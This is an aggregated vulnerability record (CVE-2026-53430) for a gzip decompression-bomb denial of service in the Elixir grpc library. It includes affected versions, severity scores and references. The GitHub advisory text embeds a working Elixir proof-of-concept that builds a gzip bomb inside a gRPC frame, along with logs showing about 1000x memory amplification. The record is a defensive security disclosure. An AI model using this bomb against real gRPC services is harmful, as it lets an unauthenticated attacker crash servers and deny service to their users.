{"id":"CVE-2026-53430","aliases":["CVE-2026-53430","GHSA-6ccx-9c9f-327w","EEF-CVE-2026-53430"],"related":[],"kind":"vulnerability","state":"published","title":"grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1","summary":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines GRPC.Compressor.Gzip.decompress/1, GRPC.Message.from_data/2.\n\nGRPC.Compressor.Gzip.decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines GRPC.Compressor.Gzip.decompress/1, GRPC.Message.from_data/2.\n\nGRPC.Compressor.Gzip.decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~> 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server's request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -> claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"## Summary\n\nImproper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (`GRPC.Compressor.Gzip`, `GRPC.Message` modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files `lib/grpc/compressor/gzip.ex`, `lib/grpc/message.ex` and program routines `GRPC.Compressor.Gzip.decompress/1`, `GRPC.Message.from_data/2`.\n\n`GRPC.Compressor.Gzip.decompress/1` calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries the `grpc-encoding: gzip` header. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The `max_receive_message_length` limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.","format":"markdown","source":"eef"},{"lang":"es","text":"Manejo Inadecuado de Datos Altamente Comprimidos (Amplificación de Datos) vulnerabilidad en elixir-grpc grpc (módulos GRPC.Compressor.Gzip, GRPC.Message) permite una denegación de servicio a través de una bomba de descompresión gzip.\n\nEsta vulnerabilidad está asociada con los archivos de programa lib/grpc/compressor/gzip.ex, lib/grpc/message.ex y las rutinas de programa ’Elixir.GRPC.Compressor.Gzip’:decompress/1, ’Elixir.GRPC.Message’:from_data/2.\n\n’Elixir.GRPC.Compressor.Gzip’:decompress/1 llama a :zlib.gunzip/1 directamente sobre bytes controlados por el atacante sin límite de tamaño descomprimido, verificación de relación o decodificación incremental. Debido a que este módulo es la implementación registrada de gzip GRPC.Compressor, se invoca automáticamente cada vez que una trama gRPC entrante lleva el encabezado grpc-encoding: gzip. :zlib.gunzip/1 asigna el resultado descomprimido completo como un único binario, por lo que una pequeña carga útil altamente compresible (por ejemplo, unos pocos kilobytes de ceros, que gzip comprime aproximadamente a 1000:1) se expande a múltiples gigabytes dentro de una sola llamada. El límite max_receive_message_length se aplica solo contra el mensaje ya descomprimido, por lo que no proporciona protección. Un par remoto no autenticado puede enviar una única trama manipulada para agotar el heap del nodo BEAM y desencadenar una terminación por falta de memoria.\n\nEste problema afecta a grpc: desde 0.4.0 antes de 1.0.0.","source":"nvd"}],"published":"2026-06-15T21:55:33.707Z","modified":"2026-11-26T17:23:05.652Z","severity":{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"Erlang Ecosystem Foundation","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-409"],"affected":[{"ranges":[{"type":"semver","introduced":"0.4.0","fixed":"1.0.0","status":"affected"}],"vendor":"elixir-grpc","product":"grpc","package":"grpc","cpe":"cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*","repo":"https://github.com/elixir-grpc/grpc","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.0.0-alfa","fixed":"1.0.0","status":"affected"}],"vendor":"elixir-grpc","product":"grpc","package":"grpc_core","cpe":"cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*","repo":"https://github.com/elixir-grpc/grpc","source":"cvelist"},{"ranges":[{"type":"git","introduced":"beae6800fc8baf126f3fe7107d86a50e105275ba","fixed":"1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc","status":"affected"}],"vendor":"elixir-grpc","product":"grpc","package":"elixir-grpc/grpc","cpe":"cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*","repo":"https://github.com/elixir-grpc/grpc","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.4.0","status":"affected","fixed":"1.0.0"}],"ecosystem":"Hex","package":"grpc","purl":"pkg:hex/grpc","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.4.0","status":"affected","fixed":"1.0.0"}],"ecosystem":"Hex","package":"grpc","purl":"pkg:hex/grpc","source":"eef"},{"ranges":[{"type":"semver","introduced":"1.0.0-alfa","status":"affected","fixed":"1.0.0"}],"ecosystem":"Hex","package":"grpc_core","purl":"pkg:hex/grpc_core","source":"eef"},{"ranges":[{"type":"git","introduced":"beae6800fc8baf126f3fe7107d86a50e105275ba","status":"affected","fixed":"1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"}],"repo":"https://github.com/elixir-grpc/grpc","source":"eef"}],"references":[{"url":"https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w","tags":["advisory","exploit","related","vendor-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://cna.erlef.org/cves/CVE-2026-53430.html","tags":["related","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-53430","tags":["related","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba","tags":["related","web"],"sources":["cvelist","eef","nvd"]},{"url":"https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc","tags":["fix","patch","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53430","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/elixir-grpc/grpc/pull/543","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/elixir-grpc/grpc","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0","tags":["web"],"sources":["ghsa"]},{"url":"https://hex.pm/packages/grpc","tags":["package"],"sources":["eef"]},{"url":"https://hex.pm/packages/grpc_core","tags":["package"],"sources":["eef"]}],"credits":["Peter Ullrich","Paulo Valente"],"assigner":"EEF","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-16T14:42:39.467Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-53430","url":"https://www.cve.org/CVERecord?id=CVE-2026-53430","licence":"CVE Terms of Use","modified":"2026-11-20T09:09:09.731Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6ccx-9c9f-327w","url":"https://github.com/advisories/GHSA-6ccx-9c9f-327w","licence":"CC-BY-4.0","modified":"2026-08-26T00:57:25.721Z"},{"source":"eef","name":"Erlang Ecosystem Foundation","id":"EEF-CVE-2026-53430","url":"https://osv.dev/vulnerability/EEF-CVE-2026-53430","licence":"CC-BY-4.0","modified":"2026-11-26T17:23:05.652Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-53430","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53430","licence":"Public domain","modified":"2026-11-20T10:17:11.270Z"}],"updatedAt":"2026-11-26T17:37:06.150Z","epss":{"score":0.0051,"percentile":0.45027,"date":"2026-12-01T12:00:22.000Z"}}